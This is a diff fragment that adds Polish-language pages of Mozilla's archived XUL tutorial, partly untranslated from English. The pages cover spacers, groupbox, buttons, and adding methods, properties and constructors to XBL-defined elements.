+ &lt;spacer style="width: 10px;"/&gt;
+ &lt;menulist id="searchmode"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Jest"/&gt;
+ &lt;menuitem label="Nie ma"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+ &lt;spacer style="width: 10px;"/&gt;</span>
+ &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+&lt;/hbox&gt;
+</pre>
+ <div class="float-right">
+ <img alt="grafika:boxfinal1.png"></div>
+ <p>Powyżej zostały dodane dwa rozwijane pola do okienka dialogowego. Element <code><a href="/pl/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code> zostanie dodany pomiędzy różne elementy, aby stworzyć przerwę między nimi. Każde z tych pól jest o szerokości 10 pikseli. Widoczne jest to, jeśli rozszerzysz okno, to następnie pole tekstowe także się rozszerzy, ale pozostałe komponenty już nie. Zwróć uwagę także, że etykieta została usunięta.</p>
+ <p>Jeżeli rozszerzymy okno w pionie, elementy nie zmienią rozmiaru. To dlatego, że są one wewnątrz poziomych pól. Jeżeli przyciski &lt;tt&gt;Znajdź&lt;/tt&gt; i &lt;tt&gt;Anuluj&lt;/tt&gt; będą znajdowały się z daleka od dolnej krawędzi okna, będą wtedy odpowiednio ustawione. W prosty sposób możemy dodać puste pola pomiędzy dwa poziome pola.</p>
+ <pre class="eval"><span class="highlightred">&lt;spacer style="height: 10px"/&gt;</span>
+&lt;hbox&gt;
+ &lt;menulist id="searchtype"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Nazwa"/&gt;
+ &lt;menuitem label="Rozmiar"/&gt;
+ &lt;menuitem label="Data modyfikacji"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+ &lt;spacer style="width: 10px;"/&gt;
+ &lt;menulist id="searchmode"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Jest"/&gt;
+ &lt;menuitem label="Nie ma"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menulist&gt;
+ &lt;spacer style="width: 10px;"/&gt;
+ &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+&lt;/hbox&gt;
+
+<span class="highlightred">&lt;spacer style="height: 10px" flex="1"/&gt;</span>
+
+&lt;hbox&gt;
+</pre>
+ <p>Teraz, gdy okno jest rozszerzone, dwa przyciski będą przesunięte, lecz, tak jak zawsze, będą one wzdłuż dolnej krawędzi okna. Pierwszy element <code><a href="/pl/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code> dodaje dodatkową wolną przestrzeń pomiędzy etykietą tytułu a elementem 'Kryteria szukania'.</p>
+ <p>Ładnie by wyglądało, gdyby tekst 'Kryteria szukania' był otoczony ramką. Możemy ją wykonać dwoma sposobami. Pierwszym sposobem jest użycie własności <code>border</code> z pliku CSS lub drugim będzie zastosowanie gotowego elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/groupbox" title="groupbox">groupbox</a></code></code>. Pierwsza metoda wymagałaby od nas ustawienia stylu dla elementu. W kursie będziemy stosowali drugą metodę. Pola grup mają tę przewagę, że mają tą zaletę, że przyciągają pole po skosie, w odpowiedni sposób dla aktualnie zastosowanego motywu.</p>
+ <p>Wykonajmy zmiany w <code>groupbox</code>:</p>
+ <pre class="eval"><span class="highlightred">&lt;groupbox orient="horizontal"&gt;</span>
+ <span class="highlightred"><span class="nowiki">&lt;caption label="Kryteria szukania"/&gt;</span></span>
+ &lt;menulist id="searchtype"&gt;
+ .
+ .
+ .
+ &lt;spacer style="width: 10px;"/&gt;
+ &lt;textbox id="find-text" flex="1" style="min-width: 15em;"/&gt;
+<span class="highlightred">&lt;/groupbox&gt;</span>
+</pre>
+ <div class="float-right">
+ <img alt="Grafika:boxfinal2.png"></div>
+ <p>Zostały już poprawione wszystkie kosmetyczne błędy. Możemy także ustawić element <code>groupbox</code> tak, aby rozszerzyć/zwężać pionowo okna do krawędzi dolnego pola. Możemy także modyfikować marginesy w celu lepszego ustawienia elementów.</p>
+ <p>Więcej przykładów modelu pudełkowego i jego własności zobaczymy podczas dalszej nauki dodawania elementów, opisanych w tym kursie.</p>
+ <p>Przykład: <code>Znajdź pliki</code>: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxfinal.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxfinal.xul">Podgląd</a></p>
+</div>
+<p>Następnie dowiemy się <a href="pl/Kurs_XUL/Stosy_i_pok%c5%82ady">jak wygląda utworzenie stosu</a>.</p>
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Pola_grup" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Stosy_i_pokłady">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_metod/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_metod/index.html
new file mode 100644
index 0000000000..3e7812bbff
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_metod/index.html
@@ -0,0 +1,196 @@
+---
+title: Dodawanie metod
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodawanie_metod
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+ - XBL
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Methods_to_XBL-defined_Elements
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_własności" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_funkcji_obsługi_zdarzenia">Następny »</a></p>
+</div><p></p>
+
+<p>Następnie, znajdziemy w jaki sposób dodać metody użytkownika definiujące elementy <a href="pl/XBL">XBL</a>.</p>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<p>Dodatkowo dodając własności skryptu do definiowanego elementu XBL, możemy dodać metody. Te metody są nazywamy od skryptu. Metody są funkcjami obiektów, takie jak 'window.open()'. Możemy definiować zwyczajne metody dla elementów używając elementów <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#method">method</a></code></code>. Generalna składnia metod jest następująca:</p>
+
+<pre>&lt;implementation&gt;
+ &lt;method name="method-name"&gt;
+ &lt;parameter name="parameter-name1"/&gt;
+ &lt;parameter name="parameter-name2"/&gt;
+ .
+ .
+ .
+ &lt;body&gt;
+ -- method script goes here --
+ &lt;/body&gt;
+ &lt;/method&gt;
+&lt;/implementation&gt;
+</pre>
+
+<p>Deklaracja metod odbywa się wewnątrz <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#implementation">implementation</a></code></code> elementu, jak the fields and properties do. Element <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#method">method</a></code></code> stanowią dwa typy elementów potomnych, <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#parameter">parameter</a></code></code> elementów które opisuje parametry metody oraz <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#body">body</a></code></code>, które są zawartością skryptu dla metod.</p>
+
+<p>Wartość atrybutu <code>name</code> staje się nazwą metody. Podobnie, atrybuty <code>name</code> w elementach <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#parameter">parameter</a></code></code> stają się nazwą każdego parametru. Każdy element <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#parameter">parameter</a></code></code> jest używany do deklaracji jednego parametru na metodę. Na przykład, jeśli metoda posiada trzy parametry, co będzie trzema elementami <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#parameter">parameter</a></code></code>. Nie musisz go posiadać, w którym wypadku metoda będzie bez parametrów.</p>
+
+<p>Element <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#body">body</a></code></code> stanowi skrypt, który jest wykonywany w momencie kiedy nazywana jest metoda. Nazwy parametrów są zdefiniowane jako zmienne w skrypcie, jeśli posiadają one przepustkę jako parametry. Na przykład, nadchodzące funkcje JavaScript będą zapisywane jako ulubione programy:</p>
+
+<pre class="eval">function getMaximum(num1,num2)
+{
+ if (num1&lt;=num2) return num2;
+ else return num1;
+}
+
+<strong>XBL:</strong>
+
+&lt;method name="getMaximum"&gt;
+ &lt;parameter name="num1"/&gt;
+ &lt;parameter name="num2"/&gt;
+ &lt;body&gt;
+ if (num1&amp;lt;=num2) return num2;
+ else return num1;
+ &lt;/body&gt;
+&lt;/method&gt;
+</pre>
+
+<p>This function, getMaximum, returns the largest of the values, each passed as a parameter to the method. Note that the less-than symbol has to be escaped because otherwise it would look like the start of a tag. You can also use a CDATA section to escape the entire block of code. You can call the method by using code such as 'element.getMaximum(5,10)' where element is a reference to an element defined by the XBL containing the getMaximum method. (The bound element.)</p>
+
+<p>The <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#parameter">parameter</a></code></code> tag allows you to define parameters for a method. Because Mozilla uses JavaScript as its scripting language, and JavaScript is a non-typed language, you do not need to specify the types of the parameters. However, in the future, other languages may be used with XBL.</p>
+
+<h3 id="Dost.C4.99p_do_jakichkolwiek_warto.C5.9Bci" name="Dost.C4.99p_do_jakichkolwiek_warto.C5.9Bci">Dostęp do jakichkolwiek wartości</h3>
+
+<p>There may be times when you want to modify some aspect of the elements defined in the <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#content">content</a></code></code> element, either from a method body or elsewhere. These elements are created anonymously and are not accessible from the regular DOM functions. They are hidden so that developers do not need to know how the element is implemented to use it. However, there is a special way of getting this anonymous content.</p>
+
+<p>Elements with an XBL behavior attached to them have a special property which holds an array of the anonymous child elements inside it. Each element of the array stores each direct child element of the XBL-defined element. This special property cannot be accessed directly. Instead, you must call the document's <code><a class="new" href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Interfejsy_DOM#getAnonymousNodes" rel="nofollow">getAnonymousNodes()</a></code> method:</p>
+
+<pre>var value=document.getAnonymousNodes(element);
+</pre>
+
+<p>Here, 'element' should be set to a reference to the element that you want to get the anonymous content of. The function returns an array of elements, which is the anonymous content. To get elements below that, you can use the regular DOM functions because they aren't hidden. Note that it is possible for an XBL-bound element to be placed inside another one, in which case you will have to use the <code><a class="new" href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Interfejsy_DOM#getAnonymousNodes" rel="nofollow">getAnonymousNodes()</a></code> function again.</p>
+
+<p>The following example creates a row of buttons:</p>
+
+<pre>&lt;binding id="buttonrow"&gt;
+ &lt;content&gt;
+ &lt;button label="Yes"/&gt;
+ &lt;button label="No"/&gt;
+ &lt;button label="Sort Of"/&gt;
+ &lt;/content&gt;
+&lt;/binding&gt;
+</pre>
+
+<p>To refer to each button, you can use the <code><a class="new" href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Interfejsy_DOM#getAnonymousNodes" rel="nofollow">getAnonymousNodes()</a></code> function, passing it a reference to the element the binding is bound to as the parameter. In the returned array, the first button is stored in the first array element ('getAnonymousNodes(element)[0]'), the second button is stored in the second array element and the third button is stored in the third array element. For code inside a binding method, you can pass 'this' as the parameter to <code><a class="new" href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Interfejsy_DOM#getAnonymousNodes" rel="nofollow">getAnonymousNodes()</a></code>.</p>
+
+<p>The next example can be used to create text with a label. The method 'showTitle' can be used to show or hide the label. It works by getting a reference to the title element using the anonymous array and changing the visibility of it.</p>
+
+<pre class="eval"><strong>XUL:</strong>
+
+&lt;box id="num" class="labeledbutton" title="Number of Things:" value="52"/&gt;
+
+&lt;button label="Show" oncommand="document.getElementById('num').showTitle(true)"/&gt;
+&lt;button label="Hide" oncommand="document.getElementById('num').showTitle(false)"/&gt;
+
+<strong>XBL:</strong>
+
+&lt;binding id="labeledbutton"&gt;
+ &lt;content&gt;
+ &lt;xul:label xbl:inherits="value=title"/&gt;
+ &lt;xul:label xbl:inherits="value"/&gt;
+ &lt;/content&gt;
+ &lt;implementation&gt;
+ &lt;method name="showTitle"&gt;
+ &lt;parameter name="state"/&gt;
+ &lt;body&gt;
+ if (state) document.getAnonymousNodes(this)[0].
+ setAttribute("style","visibility: visible");
+ else document.getAnonymousNodes(this)[0].
+ setAttribute("style","visibility: collapse");
+ &lt;/body&gt;
+ &lt;/method&gt;
+ &lt;/implementation&gt;
+&lt;/binding&gt;
+</pre>
+
+<p>Two buttons added to the XUL have <code><code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code></code> handlers which are used to change the visibility of the label. Each calls the 'showTitle' method. This method checks to see whether the element is being hidden or shown from the 'state' parameter that is passed in. In either case, it grabs the first element of the anonymous array. This refers to the first child in the <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#content">content</a></code></code> element, which here is the first label widget. The visibility is changed by modifying the style on the element.</p>
+
+<h3 id="Accessing_from_Inside_the_Anonymous_Content" name="Accessing_from_Inside_the_Anonymous_Content">Accessing from Inside the Anonymous Content</h3>
+
+<p>To go the other way, and get the bound element from inside the anonymous content, use the DOM <a href="pl/DOM/element.parentNode">parentNode</a> property. This gets the parent element of an element. For example, we could move the Show and Hide buttons into the XBL file and do the following:</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_xblmethods_1.xml.txt">Źródła</a></p>
+
+<pre>&lt;binding id="labeledbutton"&gt;
+ &lt;content&gt;
+ &lt;xul:label xbl:inherits="value=title"/&gt;
+ &lt;xul:label xbl:inherits="value"/&gt;
+ &lt;xul:button label="Show" oncommand="parentNode.showTitle(true);"/&gt;
+ &lt;xul:button label="Hide" oncommand="parentNode.showTitle(false);"/&gt;
+ &lt;/content&gt;
+ &lt;implementation&gt;
+ &lt;method name="showTitle"&gt;
+ &lt;parameter name="state"/&gt;
+ &lt;body&gt;
+ if (state) document.getAnonymousNodes(this)[0].setAttribute("style","visibility: visible");
+ else document.getAnonymousNodes(this)[0].setAttribute("style","visibility: collapse");
+ &lt;/body&gt;
+ &lt;/method&gt;
+ &lt;/implementation&gt;
+&lt;/binding&gt;
+</pre>
+
+<p>The <code><code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code></code> handlers here first get a reference to their parent element. This is not the <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#content">content</a></code></code> element but the XUL element that the XBL is bound to. (In this example, it is the box with the <code>labeledbutton</code> class). Then, the 'showTitle' method is called, which functions as it did before.</p>
+
+<p>Custom properties and methods are added only to the outer XUL element the XBL is bound to. None of the elements declared inside the <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#content">content</a></code></code> tag have these properties or methods. This is why we have to get the parent first.</p>
+
+<p>The children of an element placed in the XUL file can be retrieved in the normal way and don't move even if you use the <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#children">children</a></code></code> tag. For example:</p>
+
+<pre class="eval"><strong>XUL:</strong>
+
+&lt;box id="outer" class="container"&gt;
+ &lt;button label="One"/&gt;
+ &lt;button label="Two"/&gt;
+ &lt;button label="Three"/&gt;
+ &lt;button label="Four"/&gt;
+&lt;/box&gt;
+
+<strong>XBL:</strong>
+
+&lt;binding id="labeledbutton"&gt;
+ &lt;content&gt;
+ &lt;description value="A stack:"/&gt;
+ &lt;stack&gt;
+ &lt;children/&gt;
+ &lt;/stack&gt;
+ &lt;/content&gt;
+&lt;/binding&gt;
+</pre>
+
+<p>If you use the DOM functions such as <a href="pl/DOM/element.childNodes">childNodes</a> to get the children of an element, you'll find that the XUL box, the one with the <code>id</code> of <code>outer</code>, has 4 children. These correspond to its four buttons, even though those buttons are drawn inside the stack. The stack has only one child, the <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#children">children</a></code></code> element itself. The length of the anonymous array of the outer box is two, the first element the <code><code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code></code> element and the second the <code><code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code> element.</p>
+
+<h3 id="Konstruktory_i_destruktory" name="Konstruktory_i_destruktory">Konstruktory i destruktory</h3>
+
+<p>XBL supports two special methods created with separate tags, <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#constructor">constructor</a></code></code> and <code><code><a href="/pl/docs/XBL/Dokumentacja_XBL_1.0/Elementy#destructor">destructor</a></code></code>. A constructor is called whenever the binding is attached to an element. It is used to initialize the content such as loading preferences or setting the default values of fields. The destructor is called when a binding is removed from an element. This might be used to save information.</p>
+
+<p>There are two points when a binding is attached to an element. The first occurs when a window is displayed. All elements that have XBL-bound content will have their constructors invoked. The order that they are called in should not be relied upon, as they are loaded from various files. The <code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code>'s <code><code id="a-onload"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/onload">onload</a></code></code> handler is not called until after all the bindings have been attached and their constructors finished. The second point a binding is attached is if you change the <a href="/pl/docs/Web/CSS/-moz-binding" title="-moz-binding jest używany przez aplikacje bazujące na Mozilli, by dołączyć wiązanie XBL do elementu DOM."><code>-moz-binding</code></a> style property of an element. The existing binding will be removed, after its destructor is called. Then, the new binding will be added in its place and its constructor invoked.</p>
+
+<p>The script for a constructor or destructor should be placed directly inside the appropriate tag. There should only be at most one of each per binding and they take no arguments. Here are some examples:</p>
+
+<pre>&lt;constructor&gt;
+ if (this.childNodes[0].getAttribute("open") == "true"){
+ this.loadChildren();
+ }
+&lt;/constructor&gt;
+
+&lt;destructor action="saveMyself(this);"/&gt;
+</pre>
+
+<p>Następny artykuł pokaże jak dodać funkcje obsługi zdarzenia do definiowanego elementu XBL.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodawanie_własności" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_funkcji_obsługi_zdarzenia">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_przycisków/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_przycisków/index.html
new file mode 100644
index 0000000000..9d6311c2ed
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_przycisków/index.html
@@ -0,0 +1,82 @@
+---
+title: Dodawanie przycisków
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodawanie_przycisków
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Buttons
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Tworzenie_okna" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_etykiet_i_obrazków">Następny »</a></p>
+</div>
+<p></p><p>W tym artykule zajmiemy się dodawaniem przycisków do okna.
+</p>
+<h3 id="Dodawanie_przycisk.C3.B3w_do_okna" name="Dodawanie_przycisk.C3.B3w_do_okna"> Dodawanie przycisków do okna </h3>
+<p>Okno, które utworzyliśmy, jest puste, więc niezbyt ciekawe. W tym rozdziale dodamy dwa przyciski, Znajdź oraz Anuluj. Nauczymy się też w prosty sposób układać je w oknie.
+</p><p>Podobnie jak HTML, XUL posiada wiele znaczników, które mogą zostać użyte do tworzenia elementów interfejsu użytkownika. Najprostszym z nich jest znacznik <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>, który jest używany do tworzenia prostych przycisków.
+</p><p>Element <code>button</code> posiada dwie główne własności: <code>label</code> (etykietę) oraz <code>image</code> (obrazek). Możesz skorzystać z jednej lub z obu. Zatem przycisk może posiadać tylko etykietę, tylko obrazek lub obie własności jednocześnie. Przyciski najczęściej stosuje się do tworzenia przycisków &lt;tt&gt;OK&lt;/tt&gt; i &lt;tt&gt;Anuluj&lt;/tt&gt; wykorzystanych w oknach dialogowych.
+</p>
+<h4 id="Sk.C5.82adnia_przycisk.C3.B3w" name="Sk.C5.82adnia_przycisk.C3.B3w"> Składnia przycisków </h4>
+<p>Znacznik <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> ma następującą składnię:
+</p>
+<pre>&lt;button
+ id="identifier"
+ class="dialog"
+ label="OK"
+ image="images/image.jpg"
+ disabled="true"
+ accesskey="t"/&gt;
+</pre>
+<p>Znaczenie poszczególnych atrybutów (wszystkie są opcjonalne):
+</p>
+<dl><dt> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> </dt><dd> Unikatowy identyfikator, za pomocą którego można odwoływać się do przycisku. Ten atrybut posiadają wszystkie elementy. Będziemy z niego korzystać za każdym razem, gdy będziemy chcieli się odwołać do przycisku w arkuszu stylów lub w skrypcie. Powinno się go używać we wszystkich elementach., ale w tym kursie czasami został on pominięty dla zwiększenia czytelności.
+</dd><dt> <code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code> </dt><dd> Klasa stylu przycisku. Działa na tej samej zasadzie jak w HTML-u. Atrybutu używa się do wskazania stylu, który będzie wyświetlony w przycisku. W tym przypadku nadano mu wartość <code>dialog</code>. W większości przypadków nie będziemy używali klasy dla przycisku.
+</dd><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code> </dt><dd> Etykieta, która pojawi się na przycisku, np. &lt;tt&gt;OK&lt;/tt&gt; lub &lt;tt&gt;Anuluj&lt;/tt&gt;. Jeśli atrybut zostanie pominięty, na przycisku nie pojawi się żaden tekst. </dd><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code> </dt><dd> URL obrazka pojawiającego się na przycisku. Jeśli atrybut zostanie pomięty, przycisk pozostanie bez obrazka. Obrazek również można przypisać w arkuszu stylów używając do tego własności <code><a href="pl/CSS/list-style-image">list-style-image</a></code>.
+</dd><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code> </dt><dd> Jeśli ten atrybut zostanie ustawiony na <code>true</code>, przycisk zostanie wyłączony. Objawia się to zwykle jego "wyszarzeniem". Jeśli jest wyłączony, nie może być wykonana powiązana z nim funkcja. Domyślnie przycisk jest włączony. Do zmiany stanu przycisku można użyć języka <a href="pl/JavaScript">JavaScript</a>.
+</dd><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code> </dt><dd> Wartością tego atrybutu powinna być litera używana w skrócie klawiaturowym. Litera ta powinna występować w etykiecie przycisku, wówczas zostanie wyróżniona - zwykle poprzez podkreślenie. Kiedy użytkownik naciśnie ALT (lub analogiczny klawisz, w zależności od używanej platformy systemowej) i klawisz skrótu, wybrany przycisk zostanie wywołany z jakiegokolwiek miejsca w oknie.
+</dd></dl>
+<p>Przycisk obsługuje więcej atrybutów poza tymi, które zostały wymienione powyżej. Zostaną one omówione w <a href="pl/Kurs_XUL/Dodatkowe_mo%c5%bcliwo%c5%9bci_przycisku">dalszej części kursu</a>.
+</p>
+<h4 id="Kilka_przyk.C5.82ad.C3.B3w_przycisk.C3.B3w" name="Kilka_przyk.C5.82ad.C3.B3w_przycisk.C3.B3w"> Kilka przykładów przycisków </h4>
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_buttons_1.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:buttons1.png"></div>
+<pre>&lt;button label="Normaly"/&gt;
+&lt;button label="Wyłączony" disabled="true"/&gt;
+</pre>
+<p>W przykładzie przedstawionym powyżej pierwszy przycisk jest normalnym przyciskiem. Drugi natomiast jest wyłączony, co jest widoczne poprzez jego "wyszarzenie".
+</p><p><br>
+Rozpoczynamy od utworzenia zwykłego przycisku &lt;tt&gt;Znajdź&lt;/tt&gt;, który znajdzie się w oknie narzędzia do szukania plików. Poniżej znajduje się kod, który dodamy do przykładu &lt;tt&gt;findfile.xul&lt;/tt&gt;.
+</p>
+<pre>&lt;button id="find-button" label="Znajdź"/&gt;
+</pre>
+<div class="note">W Firefoksie 1.0 nie jest dozwolone otwieranie okien chrome z sieci WWW, więc odnośniki &lt;tt&gt;Podgląd&lt;/tt&gt; w tym kursie będą otwierane w zwykłych oknach przeglądarki. Z tego też powodu przyciski zostaną rozciągnięte do pełnego rozmiaru okna przeglądarki. Aby zapobiec rozciągnięciu się naszego przykładu, dodaj ten fragment kodu <code>align="start"</code> do znacznika window.</div>
+<div class="highlight">
+<h5 id="Przyk.C5.82ad_findfile.xul" name="Przyk.C5.82ad_findfile.xul"> Przykład &lt;tt&gt;findfile.xul&lt;/tt&gt; </h5>
+<p>Dodajmy kod do pliku &lt;tt&gt;findfile.xul&lt;/tt&gt;, który utworzyliśmy w poprzednim artykule. Kod musi być wstawiony pomiędzy znacznikami <code><code><a href="/pl/docs/Mozilla/Tech/XUL/window" title="window">window</a></code></code>. Fragment kodu zaznaczony na czerwono dodajmy do naszego przykładu: </p>
+<pre class="eval">&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="<a class=" external" rel="freelink">chrome://global/skin/</a>" type="text/css"?&gt;
+&lt;window
+ id="findfile-window"
+ title="Znajdź pliki"
+ orient="horizontal"
+ xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
+
+ <span class="highlightred">&lt;button id="find-button" label="Znajdź"/&gt;</span>
+ <span class="highlightred">&lt;button id="cancel-button" label="Anuluj"/&gt;</span>
+
+&lt;/window&gt;
+</pre>
+<div class="float-right"><img alt="grafika:buttons2.png"></div>
+Dodany został również przycisk &lt;tt&gt;Anuluj&lt;/tt&gt;. Ponieważ w oknie została określona orientacja pozioma, oba przyciski umieszczone są obok siebie. Jeśli otworzymy plik z przykładowym kodem w przeglądarce Mozilla, powinniśmy otrzymać podobne okno do obrazka z boku.</div>
+<div class="note">Nie powinno się umieszczać etykiety bezpośrednio w pliku XUL. Zamiast tego <a href="pl/Kurs_XUL/Lokalizacja">powinniśmy używać encji, aby tekst mógł być łatwo tłumaczony</a>.</div>
+<p>W następnym temacie nauczymy się <a href="pl/Kurs_XUL/Dodawanie_etykiet_i_obrazk%c3%b3w">umieszczać w oknie etykiety i obrazki</a>.
+</p><p><small>Zobacz także <a href="pl/Kurs_XUL/Dodatkowe_mo%c5%bcliwo%c5%9bci_przycisku">Dodatkowe możliwości przycisku</a></small>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Tworzenie_okna" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_etykiet_i_obrazków">Następny »</a></p>
+</div>
+<p></p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_własności/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_własności/index.html
new file mode 100644
index 0000000000..d0ce531fb3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodawanie_własności/index.html
@@ -0,0 +1,165 @@
+---
+title: Dodawanie własności
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodawanie_własności
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+ - XBL
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Adding_Properties_to_XBL-defined_Elements
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dziedziczenie_atrybutu_XBL" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_metod">Następny »</a></p>
+</div> W tym artykule dowiemy się jak dodać ustawienia właściwości użytkownika do elementów XBL.<p></p>
+
+<h3 id="Interfejs_XBL" name="Interfejs_XBL">Interfejs XBL</h3>
+
+<p><a href="pl/JavaScript">JavaScript</a> i <a href="pl/DOM">DOM</a> dają nam dostęp do pobrania i ustawienia własności elementów. Z XBL, możemy zdefiniować własne właściwości, dla elementów przez nas tworzonych. Mamy możliwość dodania własnych nazw meteod. To jest wszystko czego byś potrzebował aby dostać referencję do elementu, (używając <code><a href="pl/DOM/document.getElementById">getElementById</a></code> lub podobnych funkcji) i następnie pobranie lub ustawienie dodatkowych właściwości i nazwaniu jego metod.</p>
+
+<p>Tutaj są trzy typy pozycji, które dodaj.</p>
+
+<ul>
+ <li>Pola są użyte do podtrzymania prostych wartości.</li>
+ <li>Właściwości can also be used to hold a value but may have code execute when an attempt is made to retrieve or modify the value.</li>
+ <li>Methods are functions which may be executed.</li>
+</ul>
+
